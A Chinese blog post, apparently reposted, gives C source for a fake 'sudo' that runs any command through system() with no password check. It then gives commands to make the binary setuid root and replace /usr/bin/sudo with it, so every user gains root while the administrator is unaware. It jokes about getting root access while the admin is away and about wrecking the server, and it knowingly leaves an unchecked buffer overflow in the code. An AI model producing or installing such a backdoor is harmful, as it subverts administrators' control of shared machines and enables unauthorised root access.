感谢支持
我们一直在努力

利用system函数窃取Linux系统超级特权

大家都知道,在linux家族中最近几年出了个能干的Ubuntu,它里面有个命令特别与众不同–sudo这个命令确实给普通用户提供了很大的方便。可是每次执行sudo的时候都需要有个passwd输入。


要知道程序员是很懒滴,每次输入一串乱踢八糟的东东真滴很郁闷,特别是当输入几次都出错滴时候。这时候就应该想到去看看sudo这个家伙是怎么搞的啦。于是:


$cat   /usr/bin/sudo


结果出来一大堆乱码,哦,竟然是二进制滴,悲剧了


想到ISO C给了一个很好用的东东 system() 。有个这个东东大家可能很快就能明白我要干什么了,呵呵。是了,自己搞个sudo。我系统原来的干掉。这样,呵呵,特权从此泄露。所有用户都是超级管理员,而管理员老先生还不知道发生了什么,尽管憧憬吧。不过,至少你得有一次接触到超级用户权限的机会。呵呵,这个好办,趁他上厕所。呵呵。邪恶……


下面将我滴sudo跟大家分享分享:


sudo.c


#include <stdlib.h>
#include <stdio.h>
#include <string.h>


int main(int argc ,char * argv[]){
 char commandline[1024];
 char * ptr = commandline;
 
 if(argc < 2){
  fputs(“Usage: sudo commandline arg0 …\n”,stderr);
  exit(1);
 }
 for(int i = 1;  argv[i] != NULL;i++){
  for(int j= 0;j < strlen(argv[i]);j++){


  /*这里考虑标准IO库行缓冲最大值1024的缘故没有判断缓冲区溢出的情景,如果要在重要场合应用这个程序


    可以在此添加溢出判断*/


   *ptr++ = argv[i][j];
  }
  *ptr++ = ‘ ‘;
 }
 *ptr++ = ‘\0’;
 
 if(system(commandline) < 0){
  fputs(“Err: in system!”,stderr);
  exit(2);
 }
 return 0;
}


编译:


$gcc -std=c99 sudo.c -o sudo


得到了sudo这个赝品,呵呵


接下来就是窃取超级特权的瞬间了,看好了


$sudo chown root ./sudo


$sudo chmod u+s  ./sudo


$sudo chmod o+x ../sudo


替换系统sudo(这个好像有点太邪恶了,呵呵)


$sudo cp /usr/bin/sudo /usr/bin/sudo.bak


$sudo cp ./sudo /usr/bin/sudo


大功告成!!!!!!!!!!!!!!!!!!!!!!!!!!


试试你的新sudo


如果不想这么邪恶,可以将我们这个sudo放在自己的目录下,编辑登录脚本,使得我们的路径放置在系统那个sudo的前面,这样,平常就用这个强大的赝品sudo,有必要用原来那个sudo的时候就用$/usr/bin/sudo yourcommandline


这样滴话,就不会惹恼管理员了,自己也能安静些,其他用户没有执行你的路径的权限,也是访问不到你这个强大的sudo滴,呵呵


注意:如果在上面的介绍中替换了系统的sudo,可以用下面的命令找回:


$cd youranothersudopath


$./sudo cp /usr/bin/sudo.bak /usr/bin/sudo


OK,又恢复原样。


呵呵呵呵呵额呵呵。尽情的享受吧,哪天郁闷了把服务器给 干了,呵呵


后记:貌似这个sudo不会造成系统的重大问题,因为好多任务都会检查实际用户ID,这样的话即使有设置用户Id标识,但是还是不能通过部分检查,可见(Unix)linux设计的是多么好Y。

赞(0) 打赏
转载请注明出处:服务器评测 » 利用system函数窃取Linux系统超级特权
分享到: 更多 (0)

听说打赏我的人,都进福布斯排行榜啦!

支付宝扫一扫打赏

微信扫一扫打赏